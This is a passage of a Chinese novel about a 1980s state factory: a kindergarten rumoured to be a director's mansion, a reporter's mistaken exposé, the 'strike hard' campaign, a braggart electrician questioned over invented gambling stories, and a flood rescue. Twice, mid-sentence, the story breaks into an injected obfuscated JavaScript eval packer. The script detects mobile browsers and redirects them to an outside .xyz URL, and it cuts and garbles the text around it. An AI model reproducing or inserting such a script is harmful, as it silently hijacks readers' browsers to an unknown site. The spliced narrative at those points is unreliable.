熊工满口应承:“是的,厂长,这是必须的。另外,我们厂没有设计的资质证书,最终还要请人家审核批准。” 幼儿园施工进度很快,几乎一天一个样。工人们非常关心自家厂的新建筑,特别是家有幼童的职工,有事没事,都要到工地上转一转。 幼儿园坐落在离厂不远的宿舍区,由于其不俗的气势及日渐显露的漂亮身姿,也吸引了镇上居民的围观议论。 其中,也不乏器材厂邻居配件厂的职工。前面说过,这两家中央直属企业,从普通职工到各级领导,有意无意地都喜欢互相攀比。现在,器材厂居然在蓝圩镇的上好地段大兴土木,怎么会不引来配件厂职工的羡慕嫉妒恨。 不知是误会还是有意贬损,配件厂职工传播的是,这栋带有宽大场院的精美建筑物,是器材厂的“厂长楼”,将来的主人是几个厂级领导干部。 很快,这一传说风靡一时。有次,周亚平视察工地,施工经理笑着告诉他:“周厂长,这里建的明明是幼儿园,镇上人却都说是‘厂长楼’,我们也懒得给他们解释。” “厂长楼?”周亚平笑了笑,“想象力够丰富的。不过,也没错,这些孩子中肯定今后会出厂长、经理,那就是未来的‘厂长楼’。” 由于没有人把这种荒唐的说法放在心上,也没有人去纠正、解释,“厂长楼”的传说越来越邪火,竟然惊动了本市晚报的唐记者。 唐记者在本地也算是个小名人。文化革命的时候,因为写的一篇报道,把颂扬领袖套话里的“伟大的舵手”,写成“伟大的蛇手”。那个年代,这是逆天之罪,唐记者差点被拉去坐牢。幸好后来查出是排版工人出的错,当时,都是铅字排版印刷,“蛇”字和“舵”字位置相隔不远,排版工人一不留神,造成天大的错误。后来,报社还想继续向排版工人问罪,但查遍他的三代祖宗,都是贫农阶级,最后也只能是开除了事。 改革开放以后,唐记者更加活跃,到处探访“万元户”,采写了很多篇报道文章,有的还产生了轰动效应。不过,后来唐记者在整理采访笔记时发现,自己采访对象中,不少人在成为“暴发户”之前都是社会上的混混儿、不太正经的人,有的甚至是劳改释放犯,这种现象引起唐记者深思。“让一部分人先富起来”,难道是让这一部分人先富起来?这条路子走下去,岂不是一条歪路。他把这一想法写成一篇文章,投到一家内部的理论刊物,居然还在“记者心声”栏目中发表了。 唐记者的文章激起了轩然大波,市委一名副书记亲自给唐记所在晚报社的领导打电话,指出,唐的这篇文章从立意、观点和结论,都有很大的问题,是明目张胆地与党中央路线对着干,是和改革开放的总设计师对着干。要求报社认真处理这件事,严肃处理这篇文章的作者。 如果不是省委宣传部部长亲自出面干预,唐记者的下场肯定很惨。 那位宣传部长在内部会议上对于这件事有一段专门的讲话:“老唐的文章,是他个人的一种感受和想法,其实也代表了相当一部分人的感受和想法。虽然很片面,而且没有看到事物的本质,但我们不要重蹈改开之前的老路,动不动就上纲上线,戴高帽,穿小鞋。老唐说的这种社会现象,确实反映广大人民群众还没有真真地了解党的路线和方针。‘让一部分人先富起来’,不是目的,而是手段,通过一部分人先富起来,带动大家共同富裕。至于为什么改开初级阶段,先富起来的人中有不少是老唐说的那种人,这是因为大多数群众没有觉悟过来,也就是说给你打开了致富的大门,许多人还囿于过去的认识,安安稳稳过日子,不敢迈出致富第一步。相对来说,老唐所指的那一部分人,顾忌少一些,胆子大一些,步子迈得快一些,因此,‘万元户’就多一些。” 改开以后宽松的政治环境,让唐记者再次躲过了一劫。 不知何故,器材厂在建“厂长楼”的传闻也进了唐记者的耳中,他敏锐地感觉到,这是一个反腐倡廉的好题材。 接连几天,他都带着墨镜,在器材厂工地转悠,时而钻进群众堆里倾听议论,时而,掏出相机怕几张建筑物的照片。 当他认为证据收集得差不多时,为了得到铁证,他采访了现场施工经理:“请问,你们正在施工的是器材厂的‘厂长楼’,对吧。” 施工经理正在用皮尺丈量,头也不抬地笑笑:“‘厂长楼’?是的,周厂长说得好,是‘未来的厂长楼’。” “什么?周厂长说的,就是器材厂的周厂长,真这么说的?” “真这么说的,就在前几天。” 未来的“厂长楼”?马上就要竣工了,还什么“未来”?这个时态词用得不恰当,看来这位厂长语文水平不怎么样,唐记者心里暗想。不过,既然厂长都承认了,那这件事就是板上钉钉,已经完全落实。终于可以去写报道稿了,唐记者高兴地离开了工地。 几天后,一篇“豪华的‘厂长楼’,破旧的职工房”的文章赫然登载在晚报显著位置上。一石激起千层浪,这篇报道又成了舆论的中心议题。 配件厂的职工兴高采烈,奔走相告:“看啦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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为了进一步收回影响,报社在器材厂组织了一次大型采访,随后在晚报头版刊登了一篇采访报道,标题是:“一个真心为群众办实事的好厂长”。把周亚平大大地赞扬了一番。 国庆节前,幼儿园工程竣工。 主体建筑是一栋中西合璧的两层精美楼房,庭院里一边是儿童游乐场,摆满了各种儿童玩乐器具,另一边是一块绿草地。整个园区非常大气、漂亮,第一眼见到的人们,都啧啧称奇。 九月的一个周日,器材厂举办幼儿园落成典礼。 秋高气爽,幼儿园院子里一派喜气洋洋。 工厂管乐队正在高奏“我们走在大路上”,接待人员忙着向来宾递送香烟、糖果。 庆典开始了,欧阳副厂长作为主宾讲话:“同志们!我们厂的幼儿园终于建成了,而且是一个很大、很美,设施很齐全,功能很完善的幼儿园。外面的人都说,这是我市至今为止建筑设施方面最好的幼儿园。我们不去攀比,究竟是最好还是次好,对我们来说都不重要,重要的是,我们有幼童的职工终于有了一个理想的托幼场所。希望我们全体托幼人员,在这样一个美好的环境里,在硬件很不错的条件下,把软件做好,把幼教工作做好,把安全工作做好,使我们的幼儿园成为一个让全体家长放心、暖心的幼儿园。” “下面请厂领导剪彩!”徐茂林宣布。 “等一会,我还有一件事要说。”副书记郑宏伟扬起手中的红包,“周厂长因为近期在北京参加部局的干部短训班,不能参加今天的典礼。他委托我把这500元钱交给幼儿园,给孩子们用。这笔钱,是部局近期奖励给周厂长个人的,他说这其实是奖给全厂职工的,还是花在孩子们身上比较安心。” “谢谢周厂长!”幼儿园员工齐声高呼。 这500元钱,确实是部局奖励给周亚平个人的,但一直没有一个名头,是奖给先进个人,还是先进干部?而且,这次部局的奖励只有器材厂周亚平一个人。周亚平琢磨,这可能是上级领导了解到整个系统中只有他一个人工资过低,由此给予的一种额外补偿。 周亚平感到不能接受这笔奖金,故而委托郑副书记将这笔钱送给幼儿园,作为孩子们的费用。 剪彩结束后,徐茂林与幼儿园园长一起,带领与会来宾参观内部设施。 首先参观的是一楼的各个功能室,园长一边走一边介绍:“一楼主要是生活起居设施,有厨房,餐厅,医疗保健室,室内活动室,洗衣、消毒房,卫生间等等。” 上到二楼,依次是教室,音乐活动室,幼儿健身房,卧室,□□办公室等等。 二楼顶,是一个精心修饰的活动场所。 来宾们饶有兴趣的看看、聊聊,不停地称赞:“太棒了,能进这样的幼儿园真是太幸福了。” 还有的嘉宾问园长:“贵园学位除了器材厂的职工子女,还有没有多?我们能不能申请孩子入园?” 园长微笑着告诉他:“现在刚开园,人手、经验都不够,自己厂的孩子还忙不过来。等以后再说吧。” 13. 十三 蓝圩镇国庆节的欢乐气氛没有维持几天,就被第一波“严打”的肃杀之气所替代。所谓“严打”,就是严厉打击各种严重的刑事犯罪。六名穷凶极恶的刑事罪犯这天即将伏法枪毙,之前,犯罪分子被押上刑车,游街示众。 刑车也从器材厂经过,引起了许多人的围观议论。 看到车上挂着“抢劫犯”白牌的罪犯,三车间的一个女工恨得牙痒痒,破口大骂:“就是你们这帮王八蛋,搞得社会不安宁,早点去死吧!”这位女工,去年就曾经在大街上被抢劫者公然从脖子上掳走一根金项链。同样,统计员小杨对挂着“□□犯”牌子的罪犯朝地上直吐唾沫。今年上半年,在公园草地上,有3个流氓拦住她,大庭广众之下摸她的胸部、臀部,如果不是她大声哭叫,引来一群见义勇为的游客,后果不堪设想。 刑车开得很慢,后面跟着一支长长的队伍,据说都是去现场观看行刑过程,从而接受法制教育。器材厂也分配了5个名额,连这样血腥的枪毙场面,还有不少人争着抢着要去观看,5个名额根本不够分配。 群众的议论中,也有人小声嘀咕:“以前只听说过抢劫杀人犯才枪毙,现在怎么只有抢劫就给毙了?” 他的同伴急忙制止他:“嘘,这个时候别乱说话,小心把你一起抓了去。没听周厂长在全厂动员会上说的吗,现在是要求‘从重从快’,必须‘一网打尽’!矫枉必须过正。” “是呀,这些坏蛋,这几年太猖狂了,确实必须杀几个震慑震慑。”旁边有人附和。 这段时间,周亚平的工作重心也转移到这场全国性的“严打”行动中。根据上级部门的安排,器材厂开始排查重点线索,梳理历史案件,确定打击对象。不过,毕竟工厂人员比较单纯,每个人的历史档案都清清楚楚,忙乎了一阵,也没有发现什么重要的线索。 一边抓中心,一边还要抓生产,这是周亚平不敢忘记的使命。刚在厂门口看完“严打”的游街示众,周亚平马上回到厂内,到各个车间去转悠。 三季度,五车间生产任务完成得不理想,周亚平与车间主任正在商讨对策。 罗文轩的电话打到了车间办公室:“请问周厂长在你们那里吗?”得到肯定的答复后,罗大声告诉接话人:“请厂长尽快回办公室,保卫科有急事找他。” 周亚平回到办公室时,陆晓天已先在门外等候。 “什么事呀,陆科长?”周亚平端起桌上的茶杯,喝了口水。 陆晓天习惯性的把门关上,找了张椅子坐下来。 “厂长,刚才派出所打来电话,说我厂有个职工有聚众赌博的重大嫌疑,让我们准备资料,控制好嫌疑人,下午他们派人来厂,直接询问。” 周亚平一愣:“哦?我们查了这么久,怎么一点线索都没有发现?他们说的是谁?” “颜岳生,‘岳牛皮’。” “是他?” 颜岳生是器材厂动力维修车间一名电工。他虽然文化程度不高,但博闻强记,伶牙俐齿,能说会道。由于经常大话连篇,人称“岳牛皮”,在厂里乃至镇上,都是小有名气的一个人物。 这地方给人名字后缀上“牛皮”以作绰号,也并非全是贬损,而是半为戏谑,半为赞服。既是“牛皮”,自然需巧舌如簧,能吹善诳,有把烂铜说成金,棒槌说成针的本领。然而,光靠嘴皮子功夫不行,还得显山露水地干成几件真事,以印证“牛皮不是吹的,火车不是推的”,方能享此殊荣。 有两件事奠定了颜岳生的“牛皮”地位。 这天休息日,颜岳生又在篮球场边与众人聊大天,话题依旧很广,从女娲补天到“精子库”,从啤酒涨价到世界末日,五花八门。每逢这种场合,必是颜岳生大显神通的机会,经常以“中心发言人”自居,侃侃而谈,大发宏论。其实,许多人心里有数,他说的那些东西,真真假假,十句里只能信一两句。但尽管这样,无聊的人们,也乐于用这点娱乐,打发闲暇时光。 话题扯到中国国粹气功上了。 一提到气功,颜岳生两眼放光:“不瞒各位,我农村老家的隔壁就住着一位性许的气功大师,人称‘许七步’,我曾拜他为师。为什么叫‘许七步’?他擅长封血功,封血,就是现在说的止血。谁家有人破皮出血的,只要找到我师傅,告诉他什么人,什么部位出血,我师傅掐指一算,回复一句:‘没事了,你走吧’。来人走不过七步,他家伤口出血的那个人立马止住了血。再厉害的大出血,都可以在七步之内止住,我师傅‘许七步’的美名由此而来。” “真的假的?不用打针敷药就自动止血,这是迷信吧?”围观者中有人半信半疑。 “这有什么奇怪的”,颜岳生不屑地望了他一眼,“迷信,瞎说!公家的报纸上都登了,这些都叫特异功能,已经得到了科学证明。我师傅本事大着呐,封血功只是小菜一碟。我还见过他头碎大石头,脖子扎银枪,打着赤膊用大刀砍前胸,啥事都没有。” 一个外号叫“憨大锤”的小伙子不客气地对颜岳生说:“你别老吹你师傅怎么厉害,你跟了你师傅这么多年,学到一点皮毛没有?你给我们露一手,我们才承认你是真牛。” 颜岳生瞄了他一眼:“你以为练气功像喝蛋汤一样容易?必须夏练三伏,冬练三九,起早睡晚,苦练十年,才有成效。我才跟了我师傅一两年,后来就进城了,那么短的时间能学到多少本事?但就这样,也比有些人要好得多。你不见有的人学了几年钳工,连锉刀都端不平,只好去甩大锤。” 周围人一阵哄笑,原来,这个“憨大锤”开始进厂学徒时先安排当钳工,但一直出不了师,最终只能去当锻工,甩大锤。 知道自己被嘲弄,小伙子脸红脖子粗地走向颜岳生,准备动粗,边上一位老者拉住他。这位老者是小伙子的师傅,显然,对于颜岳生奚落他的徒弟也是很不满的,只见他慢条斯理地对颜岳生说:“行,小颜,你牛!既然你厉害,又吹嘘学了一两年气功,应该多少会一点吧?今天露一手我们看看,如果真学到了一点小本事,我们才承认你真‘牛皮’。如果一点都不会,我们就知道你除了一张寡嘴,什么也不是。” 人群中喧闹开来:“对,来点真格的,别天桥把式,光说不练。”“不来真就是猪X的。”“臭X才光耍嘴皮子。”…… 这阵仗,颜岳生还是第一次见到,一时间,冒了身冷汗。今天牛皮吹大了,不来点实在的,过不了这一关。 好个颜岳生,只见他很快镇定下来,瞪着眼扫向众人,声音提高八度:“干什么!干什么!想看我出洋相是吧?看来今天老子不露一手,还真被你们小看。不过先说明,由于只跟了我师傅一两年,水平有限,你们要求不要太高。” 颜岳生糊弄人的本领很大的,其实他很早就注意到球场边上一个角落里有一小堆不知哪年哪月存放的红砖,由于天长日久,日晒雨淋,表面看还是原样,实际上,内部已十分脆弱。有一次,颜岳生从砖堆边走过,随意一脚踢去,便把一块砖头踢成3片。这个秘密,一直深藏在颜岳生脑海里,此刻,他突然来了灵感。 他装着朝四周张望,好似无意间看到那堆砖块,走上前,用左手拿起一块红砖,向注视自己的人群不经意地看一眼,然后凝神屏气,一副运功的架势,举起右手砸向红砖,同时像气功演员那样“嘿”的一声吼,顿时,砖头被劈成两半。围观的人们一阵惊呼。 颜岳生见毫不费劲就糊弄成功,心中暗喜,索性再一次拿起两块红砖叠在一起,如法炮制,随着一声怒吼,两块砖头应声断裂。众人欢声雷动,齐声高呼:“岳牛皮!岳牛皮!” “岳牛皮”的绰号从此叫开了。 如果说,所谓的气功表演还带有偶然性,那另外一件自行车票证一事,才真正把颜岳生的牛皮功夫发挥到了极致。 那个年代,像“凤凰”、“永久”这样的名牌自行车非常紧俏,都是凭票供应,有人写打油诗戏谑此事:“昔人已乘‘凤凰’去,此地难把‘凤凰’求。‘凤凰’‘永久’不复还,杂牌四处晃悠悠。” 这一次是车间工休时间,大家正在议论购买自行车的事。人群中有几位都是积攒了好久的钞票,心急火燎地想买名牌自行车而苦于无票,一个个长吁短叹,牢骚满腹。 “岳牛皮”也走了过来,笑吟吟地说:“毛家大爹讲过‘牢骚太盛防肠断’,没弄到票只能怪自己没本事,光发牢骚有屌用。” 那几位要买车的主一脸不快,有位老师傅横着眼睛瞪着他说:“‘岳牛皮’,你有本事,你给弄几张购车票试试?谁不知道,你除了吹牛,还有什么能耐。” 这话够刻薄的了,换上谁都得发火,但“岳牛皮”却是一副若无其事的样子,慢悠悠地说:“我当然没有什么能耐,不过比起你们来,本‘牛皮’还是能耐多一点。搞几张自行车票,还是不在话下。” “啊,真能搞到票?”人群骚动起来,说话也客气多了,这个称“颜老弟”,那个叫“岳大哥”,都把“岳牛皮”当成了救星。 见此状,“岳牛皮”更来劲了:“行了,行了!我又没有印票的机器,你们这么多人的票我就是再大本事也无法都解决。我说了搞‘几张’,无三不上几,那就确定三张票吧。至于这三张票你们怎么分,只能由你们自己搞掂,拈阄也好,打架定输赢也罢,随便。” 那位先头说话刻薄的老师傅再次发声:“好!颜老弟,如果你能在一周之内帮我们搞到三张自行车票,我们就彻底服你了,你就是名副其实的‘岳牛皮’。” “对!”众人一致赞同。 关于自行车票的事还真不是“岳牛皮”瞎吹,他心里多少有些底,他二叔在汽配厂当采购员,专管五金电器材料。前不久,叔叔问他要不要自行车票,说是五金商店实行承包后,采取奖励措施,只要采购额满5千元,就奖一张紧俏商品票卷。“岳牛皮”当时没怎么在意,这次敢吹大牛,就是因为想起了这条门路。 第二天,“岳牛皮”抽空去了隔壁厂,找二叔要自行车票。谁知二叔手上只剩下一张,还抱怨他,怎么不早说,他都已经把票给了别人。 “没关系,二叔,只要你们近几天再去采购材料,不就可以再得到奖票了吗。” “问题是这个月的采购任务已经完成了,要有,那也是下个月的事。”二叔无奈地回复。 时间来不及,完了,这条路堵死了。 “岳牛皮”是那种死要面子活受罪的性格,为了达到目的,不惜一切代价。 接下来,“岳牛皮”动员所有的社会关系,寻找自行车票。功夫不负苦心人,终于从一个老同学那里又求得了一张票。但眼看一周的限期明天就到了,最后一张票仍毫无着落。 没办法,为了“牛皮”不吹破,只有最后一招了,这一招就是花钱去买。他知道有这样一个票证交易的市场,于是,骑着自行车就往镇上赶去。 在五金交电商场门口转悠了一阵,一个穿着花格衬衫的小伙子从“岳牛皮”身边经过,用胳膊肘轻轻地撞了他一下,轻声说:“伙计,要不要自行车票?” “岳牛皮”同样细声问话:“开个价吧,一定要优惠。” “一口价,30元。” 听到这个价格,“岳牛皮”吃了一惊,因他的心理价格不超过15元,谁知对方一开口就是30元,这差不多是“岳牛皮”当时一个月的工资呀。 “最多15元,不要漫天要价,”“岳牛皮”还想讨价还价。 “不懂行情的杂种。”花格衬衫哼哼几声,怏怏地离开了。 “岳牛皮”彻底失望了,别无他法,“岳牛皮”只好找到原来摆放自行车的位置,准备骑车回厂。 “慢点,年轻人,等你半天了。”一个带着红袖章的大爷叫住他,“你的自行车怎么在人行路上乱摆放,人来人往的,多危险!念你是初犯,今天只给你贴红纸警告,下一次再这样,就要罚款了。” 真晦气,事情没办成,还差点吃罚款。“岳牛皮”垂头丧气地从人行道上推走自行车,一步跨上往回骑。 突然,红袖章、罚款、票贩子、派出所,这些像电影蒙太奇似的浮现在“岳牛皮”的脑海里,一个损招蓦地闪现出来。 “岳牛皮”为自己的高招兴奋起来,他赶回工厂宿舍,找到了一个过去厂内搞活动发的执勤红袖章,又骑车踅回五金交电商场,同时,把红袖章佩戴在左臂上。 他倚在门旁,瞪大眼睛搜索着目标。终于,他发现在店外一株大树下,一个农民模样的汉子正在与一个顾客洽谈,很像是在进行票证交易。 “岳牛皮”悄无声息地接近目标,趁他们分别掏出钞票和票证时,一步迈过去,抓住两人的手腕:“你们这是干什么?私自交易国家无价证券,这是犯法行为,难道不知道?” 交易两人受此惊吓,半天说不出话来。 “岳牛皮”教育买主:“这位同志看样子是国家职工,怎么也这么糊涂,助长违法倒卖行为?”买者不好意思地低下头,“岳牛皮”松开他的手,“今后要加强学习,不能再干这样的事,你先走吧。”买主忙不迭地撒腿跑了 。 倒卖自行车票的那位农民模样的汉子早已吓得战战兢兢,急忙向“岳牛皮”求情:“同志,我是第一次干这种事,这张票是城里亲戚给我的,说是可以变成钱,让我来这儿。我今后也一定加强学习,不再干这种违法的勾当,票我可以上缴,但千万不要拉我去派出所。”说完,把票往“岳牛皮”手上一丢,就准备走开。 “岳牛皮”叫住他:“别动!” “我不卖了还不行,非得拉我去公家的地方?”卖主急得快要哭了。 “不是,不是!”“岳牛皮”语气松缓下来,“哎,你们从乡下过来也不容易,回去的车票钱估计都没钱买,这样吧,只要你保证今后不再做违法的事,我给你5元钱做路费吧。” 汉子一听大喜:“真的放我走,还给我路费?我保证以后再也不干违法乱纪的事了!” “岳牛皮”掏出一张5元的钞票给那位卖主,继续教训他:“这可是你自己保证的,今后绝不能再干这种事,不然,下次让我抓到,一定送派出所。” 卖主连声道谢,屁滚尿流地跑了。“岳牛皮”也就心安理得地得到了这张自行车票,还不忘自我安慰,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479012|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张票不是抢来的,而是用5元钱买来的。 可以想象,当第二天“岳牛皮”志满意得地捏着3张名牌自行车票在等候他的人群中亮相时,引起了何等的轰动。几个年轻人把他抬起来抛接庆贺,连平时对他素有成见的老师傅,也啧啧连声:“还真是牛皮不小,牛皮不小。”这里的“牛皮”自然是“能耐”的代名词。 从此以后,“岳牛皮”更是名声大噪。 前面说到,器材厂保卫科科长陆晓天急忙向周厂长汇报,派出所已经锁定的重大赌博嫌疑人,就是这个“岳牛皮”——颜岳生。 两人在保卫科办公室分析了许久,尽管都知道“岳牛皮”不是个善茬,是个调皮捣蛋的老祖宗,但正如他自己经常标榜的,我颜某人虽然有点不按常规出牌,但有一条原则:有毒的不吃,犯法的不做。以前,确实也没看他干过什么违法的事,至于聚众赌博方面,也没有听到过丝毫传闻。 下午,派出所的三位民警如约而至。 民警同志向周厂长和陆科长通报了警情,原来是有人举报,器材厂颜岳生多次进入一个地下赌场,这个赌场赌博额度相当惊人,有的赌徒甚至用旅行袋装钞票,更为恶劣的是,输光了钱的赌徒,以人的肢体为赌资,继续赌博。 “啊,这么严重?”陆晓天惊呼。 “请问干警同志,颜岳生自己有没有参赌?”周亚平问。 “这点需要进一步落实,今天下午我们就是来调查这件事。请你们通知颜岳生来接受询问。” 不一会,“岳牛皮”被“请”到保卫科。一进门,“岳牛皮”大大咧咧地找张空椅一屁股坐下,嬉笑着问:“什么事呀,这么大的阵仗,厂长也来了,还有大盖帽的民警同志。” 为头的那个警察同志大吼一声:“严肃点,别嬉皮笑脸!”这一声把“岳牛皮”镇住了,这才感到气氛不对头,坐正了身子。 仍然是那位带队的民警讲话,他把严打的目的、意义和政策界限宣传了一番,然后直接问话:“颜岳生,我们找你来,就是要了解地下赌场的真实情况,以及你本人参赌情况,请你如实交待。在工人阶级队伍里被教育这么多年,坦白从宽,抗拒从严,这些可能不需我们再多说,就看你的了。” “岳牛皮”一脸的茫然:“赌博?那玩艺我从来没碰过,你们可以去查,如果查到一次,怎么处罚我,我都没有意见。” 另外一个民警插话:“你有没有参与,我们当然会调查,但即使你自己没参加,却经常出入地下赌场,看到别人赌博,不揭发,不举报,同样是包庇犯罪行为。你必须端正态度,检举揭发这一系列恶性的赌博行为。” 地下赌场?“岳牛皮”更加丈二和尚摸不着头脑。看到周围几个人逼视、期望的目光,他呐呐地说:“别人赌博犯罪,我怎么会知道?我就见过对面宿舍的几个小徒工玩扑克赌香烟,他们不是早交待了?黑板报上都登了。” “就这些?不要避重就轻。大是大非面前,千万站稳立场。”带队的民警告诫他。 陆晓天也劝导说:“是呀,小颜,没关系,你不是说你从未参与,只要把看到的都说出来,就是立功行为,不会影响你的前途。” “周厂长,陆科长,我在厂里是个什么样的人,干过什么样的事,你们应该最清楚。说我经常到地下赌场,看到什么赌博,这真是莫须有的事。民警同志可不要冤枉我。” 看到“岳牛皮”一副迷惘的神态而且不像装蒜,带队的民警同志提醒他:“颜岳生,好好想想,有没有在某个场所,看到参赌的人用旅行袋装钱?” “对呀,还比如,有人赌光了钱,砍下小指头,用来当赌资,这么大的事不应该忘记呀!”另一位民警循循诱导。 哦!原来如此,此时,“岳牛皮”才回想起来,半年以前,自己在寝室与几个室友聊天,聊到赌博的事。 当时,有人说在乡下看到打麻将赌博,输者给赢家一根萝卜;还有人看到公园里打扑克,输了就付五分硬币;更邪乎的是有人在街头看到几个人玩纸牌,输了后互相打耳光。 “岳牛皮”也信口说了一段:“嘿,你们见到的都是小打小闹,小孩儿过家家,我见过的那才是上得场面的。那班家伙,一撒手就是几十张‘工农兵’,赢一盘就是一部彩电的票子。到后来,都懒得一张张数钞票,一人拿一叠,比比厚薄差不多就押注了,那真是一掷千金。有个赌徒,带了一旅行袋的钞票,全部输光,最后恼羞成怒,拿起一把弹簧刀,把左手小手指往赌桌上一搁,只听‘嚓’的一声,砍下一节指头,大声吼道:‘X你妈的,现在开始赌手指,赌完十个手指再赌十个脚趾,不来赌的,老子先给他放血。’这下可把众赌徒吓懵了。有个老赌徒还算沉得住气,只见他打着哈哈朝众人说:‘还楞着干什么?这位兄弟为大伙流血,咱们可不能不仗义。来,一人抓一把票子放到这个兄弟的旅行袋里,算是疗伤的费用。’说完,带头从自己的钱袋里掏出一大把钞票,塞进那个空旅行袋。众人竞相模仿,结果,这个口袋装的钱比带来时还要多。” 想到这里,“岳牛皮”才意识到吹牛皮闯了大祸,肯定是有人把这些诳语举报给公安机关,才惹来这场麻烦。 没办法,这个节骨眼上,“岳牛皮”只好把自己如何在室友面前吹大牛的经过如实交待,一边不停地检讨自己:“民警同志,这都是我平时学习不够,觉悟不高,爱吹牛皮的臭毛病造成的。今后一定努力改正,加强政治学习,提高思想水平……” 带队的民警打断他的话:“算了,别背文件了。你讲的这些我基本相信,但我想不通,你既然没去过赌场,都是你瞎编的,怎么对这里的一些细节讲得栩栩如生,好像真的看到一样?” 听了民警这样说,“岳牛皮”总算松了口气:“报告民警同志,许多细节是书上看到的,我是胡编乱造放在一起。” 陆晓天也笑着对民警说:“这小子在我们厂是有名的吹牛高手,外号就叫‘岳牛皮’,确实是能说会编。” 那个专做记录的民警也说话了:“从我们掌握的情况来看,我们辖区内,不可能有这样大规模的赌场,因此说是颜岳生编的故事可以说得过去。但现在说是瞎编的,也只有颜岳生的口头陈述,如要结案缺乏证据。” “有!有证据。”“岳牛皮”倏地站起来:“关于剁手指的情节,我是照搬的一本小说里的情节,这本书现在还放在我寝室里。” “那还等什么,颜岳生,你赶快去把你所说的证据拿来,交给我们。”带队民警发话了。 没过多久,“岳牛皮”捧了几本时尚杂志和一本侦探小说回到保卫科。 他先翻到某一页,指着给民警同志看,果然,里面描写的赌徒输光后剁手指的情节与“岳牛皮”说的一模一样。再翻看哪些时尚杂志,里面全部是描写赌博、情杀、抢劫、□□等一些乌七八糟的故事情节。 民警一一翻看后,不再询问,把这些书籍收检到证物袋。带队的那位民警临走时还不忘教训“岳牛皮”:“小颜呀,以后干点正经事,不要到处瞎吹牛。你看,你的一通牛皮,浪费警力不说,造成多么不好的社会影响。” 14. 十四 “近端午,龙舟雨”,说得是端午节前,有一波连绵不断的下雨天,仿佛是为了给江河湖泊增添节庆期间的水分,以便于龙舟竞渡。 器材厂的上级单位名称有了变更,已按照国家改革的统一部署,从原来的国家某部工业局,更名为工业总公司。近一年来,总公司的重点工作是指导各个下属企业进行企业全面整顿,并明文规定每个企业都必须通过验收合格,否则,企业的各项奖金、福利都要受影响。 就在器材厂日以继夜地忙着准备企业全面整顿预验收的关键时刻,接到地方政府的指示,现在正是汛期,各单位必须把防汛工作摆在各项工作的首位。器材厂紧靠大河边,自然不敢大意。 周亚平昨夜参加整顿小组汇报会,午夜才入睡,清晨又与欧阳昭民等人按照市防汛指挥部的要求,上堤巡查。 辽阔的江面,波涛滚滚,汹涌澎湃。周亚平一行人缓慢地行走在江堤上,一边走,一边仔细查看两边堤岸有否渗水、滑坡等现象。 眼看着分配给器材厂巡堤的路段将要结束,但见离岸不远的江面有一只小船,船上有两个男人,似乎正在使劲地往岸边划靠,但由于岸边的一股激流,使其始终无法靠岸。 突然,一个浪头让小船失去平衡,翻向一边,两人全部落水。其中一人看来不识水性,挥舞双手,拼命挣扎着。 “危险!”周亚平高喊一声,情不自禁地跑入堤下,脱下鞋子,扑向江中。 水中救人,周亚平还是有些经验。9岁时,他在池塘里救过一个落水儿童,那时由于没有常识,吃过大亏。当时他被遇难儿童在水中一把死死抱住,如果不是大人及时赶到,两人都会丧生。 因此,这次周亚平没有从正面接近落水者,而是绕到背面,用手抓住落水者的衣领,使出平生的气力托住他往岸边游。欧阳他们不知从哪找来一根长树枝,几个人手牵手从岸边连到江中,向水中的周亚平伸出树枝。周亚平伸手试了好几次,才抓住枝头,被大家一把拉到了岸上。 还好,落水者没大碍,吐了几口水就没事了。落水的另一位也已上岸,众人纷纷指责他:“你这家伙也真不够意思,你们作为朋友,他不会游水,你都只顾自己逃命,不去救他。” 被责备的这位一言不发,羞愧地扶着同伴离开了现场。 “哎!周厂长,你看你,招呼都不打一个就下水了,多危险呀!”欧阳埋怨道。 周亚平嘿嘿笑着:“来不及了,人命关天,没办法。” “不说了,不说了,厂长赶快回家换衣服!”大家簇拥着周亚平往回走。 河边事件发生一个月后,总部企业全面整顿预验收小组来到了器材厂。之所以叫“预验收”,是由于现在还是年中,正式验收时间必须等全年各项经济技术指标计算出来后,到时视指标完成情况,才确定是否通过。 预验收小组阵容庞大,除了主力人员是集团公司派出,另还有当地市、县政府派出的相关人员参加,共计二十多人。 验收组在器材厂上上下下折腾了整整一个星期,最终拿出了一份一万多字的预验收报告。 报告中肯定了工厂在企业全面整顿中做出的努力及取得的绩效。如调整班子,精简机构;进行劳动分配制度、人事制度等的改革;加强企业基础工作,整理155项规章制度,汇编成9大册,30多万字;适应“变型”需求,走市场化道路。报告指出,企业全面整顿以来,厂容厂貌进一步改观,职工精神面貌发生了新的变化,生产不断发展,经济效益有了提高。但是—— 汉语中的这个转折词“但是”非常重要,有时会代表另一类型的否定。 预验收组认为,工厂产值、利润指标未能实现时间过半任务过半,因而未能达到验收标准。希望器材厂下半年认真对待这一问题,加强各项工作的力度,尽最大努力,确保今年国家计划的完成。 其实,由于产品订货和销售的淡季与旺季等一些情况,器材厂往年也都有这种上半年完成较差,下半年完成较好的现象,因此,听取验收组的报告后,周亚平和其他厂领导虽然感到不小的压力,但并没有太沮丧。 验收组离厂后,器材厂召开了一系列的会议,传达贯彻验收报告精神,确定今年后5个月为工厂的“非常时期”,必须采取“非常措施”。 周亚平提出了“统一认识,坚定信心,明确任务,落实措施,开拓前进”的二十字方针。然后,采取层层下达责任书,人人落实小指标的方式,把后5个月的任务分解下达。 正当周亚平与大家紧锣密鼓地安排部署下半年生产经营事项时,二车间主任颜鲁陵找上门来。 “厂长,有件事不知你想到没有?” “什么事?”周亚平丈二和尚摸不着头脑。 “上半年由于隧道窑停产大修,耽误了半个月的生产,尽管我们会落实厂里的安排,在后5个月把欠产补上来,但据供销科反映,下半年订货还会大幅增加。这样一来,我们的产能就有困难了。怎么解决这个问题,周厂长你考虑过没有?” 